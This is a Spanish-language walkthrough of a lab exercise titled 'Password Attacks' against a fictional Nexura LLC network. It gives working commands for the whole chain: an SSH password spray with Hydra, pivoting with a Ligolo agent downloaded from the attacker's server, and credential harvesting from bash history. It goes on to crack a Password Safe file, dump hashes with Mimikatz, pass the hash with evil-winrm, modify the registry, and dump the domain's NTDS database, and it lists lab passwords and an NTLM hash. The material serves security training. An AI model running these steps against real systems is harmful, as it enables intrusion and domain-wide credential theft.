Skills Assessment - Password Attacks (Nexura LLC)

🎯 Escenario

Sabemos que Betty Jayde (Nexura LLC) usa la contraseña:

Texas123!@#
Host IP Address
DMZ01 10.129.*.* (External)172.16.119.13 (Internal)
JUMP01 172.16.119.7
FILE01 172.16.119.10
DC01 172.16.119.11
Solo DMZ01 es accesible externamente 🌍 → pivotear desde ahí al resto de la red.

DMZ

🚀 Paso 1: Enumeración de Usuario

🔑 Tenemos la contraseña conocida (Texas123!@#), pero aún no el formato de usuario que utiliza Betty en AD.

👉 Usamos Username Anarchy para generar variaciones:

  1. Creamos un archivo Betty.txt con:
Betty Jayde
  1. Ejecutamos username-anarchy para generar usuarios posibles
./username-anarchy -i Betty.txt > ../resultados_username.txt 

📂 Esto genera combinaciones típicas de AD:

📝 Guardamos los resultados en resultados_username.txt.
{EE0FD66C-D985-44DB-8B62-1FE5FCF54BAB}.png
Ahora probamos usuario + contraseña conocida:

hydra -L resultados_username.txt -P contrasena_betty.txt ssh://10.129.53.136 -t 4

✅ Resultado: el usuario válido es jbetty.
{2CDEFBE0-CF0A-4A2D-B2E7-B6AEFC222F47} 1.png
Conectamos por SSH:

ssh jbetty@10.129.53.136

🔀 Pivoting

Creamos la interfaz tun:

sudo ip tuntap add name ligolo mode tun
sudo ip link set ligolo up
sudo ip route add 172.16.119.0/24 dev ligolo

📡 Iniciamos el proxy Ligolo en nuestra máquina

./proxy -selfcert

Pasamos el agente a la víctima:

python3 -m http.server 6969
wget http://10.10.15.236:6969/agent # en la victima

Ejecutamos el agente:

./agent -connect <TU_IP_PUBLICA>:11601 -ignore-cert

Control de sesión:

session
start

{FC2802F3-0371-4807-886F-1FB083527DCD}.png

🔎 Escaneo Interno

Podemos escanear la red interna ya desde Kali:

nmap -p- -sV --min-rate 5000 172.16.119.11 -sVC  

{934EA073-B9F9-4433-9E9B-FC00AC3DD0D3}.png
🖥️ Hostname: DC01
🏢 Dominio: Nexura.htb

🔑 Credenciales encontradas en DMZ

Revisamos historial:

cat  /home/*/.bash*   

📌 Credenciales halladas:

Usuario: hwilliam
Pass: dealer-screwed-gym1

Pasted image 20250905194038.png


🖥️ JUMP01 (172.16.119.7)

Accedemos con Evil-WinRM:

evil-winrm -i 172.16.119.11 -u NEXURA\\hwilliam -p 'dealer-screwed-gym1'

📂 Enumeración con Snaffler

Subimos Snaffler:

wget -O Snaffler.exe https://github.com/SnaffCon/Snaffler/releases/download/1.0.212/Snaffler.exe

Lo transferimos con RDP:

xfreerdp /v:172.16.119.7 /u:NEXURA\\hwilliam /p:'dealer-screwed-gym1' /cert-ignore /drive:share,/home/kali/mimikatz

Ejecutamos y vemos ficheros sensibles (rojo = interesante):

Snaffler.exe -s

Encontramos Employee-Passwords_OLD.psafe3 🗝️.
{9A1340BB-2B9B-4332-9BD6-35D521D04552}.png

🔓 Crackeando Password Safe

Copiamos el archivo:

copy "\\FILE01.nexura.htb\HR\Archive\Employee-Passwords_OLD.psafe3" C:\Users\hwilliam\Desktop\Employee-Passwords_OLD.psafe3

Pasamos a Kali y crackeamos:

python3 /usr/share/john/pwsafe2john.py Employee-Passwords_OLD.psafe3 > hash_psafe3.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash_psafe3.txt
john --show hash_psafe3.txt

✅ Contraseña maestra: michaeljackson 🎶
{B4C15C49-4E91-4A3D-80CF-4E92D461EA0D}.png
Abrimos el fichero y obtenemos usuarios + contraseñas:
{44F7AB7F-1F4E-40D6-B0FF-875F610B1F1D}.png

bdavid:caramel-cigars-reply1
stom: fails-nibble-disturb4
hwilliam:warned-wobble-occur8

Solo bdavid mantiene credenciales válidas.


👤 Acceso con bdavid

Conectamos:

xfreerdp /v:172.16.119.7 /u:NEXURA\\bdavid /p:'caramel-cigars-reply1' /cert-ignore /drive:share,/home/kali/mimikatz

Ejecutamos PowerShell como administrador y luego Mimikatz para extraer hashes:

./mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

📌 Obtenemos el hash NTLM de stom, lo que nos permitirá hacer Pass-the-Hash (PtH).
Pasted image 20250909190514.png

🔑 Pass-the-Hash y escalada a DC01

Con el hash de stom conectamos al host remoto:

evil-winrm -i 172.16.119.7 -u stom -H 21ea958524cfd9a7791737f8d2f764fa 

Habilitamos RDP en el host remoto:

reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

{E221E8E1-536E-4F02-B558-D9EA9885E340}.png
Podemos conectarnos al DC01

Habilitamos RDP en el host remoto:

Finalmente, extraemos el hash de administrador con NetExec:

netexec smb 172.16.119.11 -u stom -H 21ea958524cfd9a7791737f8d2f764fa -d NEXURA -M ntdsutil

✅ Ahora tenemos control total sobre el dominio. 👑
Pasted image 20250909194800.png